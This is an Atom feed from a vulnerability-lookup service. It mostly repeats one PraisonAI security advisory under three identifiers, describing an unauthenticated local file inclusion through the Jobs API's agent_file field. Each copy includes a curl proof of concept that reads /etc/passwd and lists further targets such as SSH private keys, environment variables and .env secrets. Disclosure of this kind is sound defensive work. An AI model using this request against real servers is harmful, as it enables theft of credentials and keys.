<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-23T18:12:47.463810+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-369608</id>
    <title>EUVD-2026-369608</title>
    <updated>2026-10-23T18:12:47.554881+00:00</updated>
    <content>EUVD-2026-369608</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-369608"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-57119</id>
    <title>fkie_cve-2026-57119</title>
    <updated>2026-10-23T18:12:47.554917+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-57119"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-p4pj-vh7h-6cqh</id>
    <title>GHSA-p4pj-vh7h-6cqh — PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API</title>
    <updated>2026-10-23T18:12:47.554950+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: praisonai</p>
<p>### Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.</p>
<p>### Details
The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:</p>
<p>```python
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
```</p>
<p>The executor reads the file directly:</p>
<p>```python
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
```</p>
<p>### Proof of Concept</p>
<p>```bash
curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'
```</p>
<p>Server responds with contents of `/etc/passwd`.</p>
<p>Other exploitable paths:
- `/proc/1/environ` — environment variables, API keys
- `/home//.ssh/id_rsa` — SSH private keys
- `/app/.env` — application secrets</p>
<p>### Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-p4pj-vh7h-6cqh"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-3516</id>
    <title>PYSEC-2026-3516 — PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API</title>
    <updated>2026-10-23T18:12:47.554995+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: praisonai</p>
<p>### Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.</p>
<p>### Details
The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:</p>
<p>```python
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
```</p>
<p>The executor reads the file directly:</p>
<p>```python
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
```</p>
<p>### Proof of Concept</p>
<p>```bash
curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'
```</p>
<p>Server responds with contents of `/etc/passwd`.</p>
<p>Other exploitable paths:
- `/proc/1/environ` — environment variables, API keys
- `/home//.ssh/id_rsa` — SSH private keys
- `/app/.env` — application secrets</p>
<p>### Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-3516"/>
  </entry>
</feed>
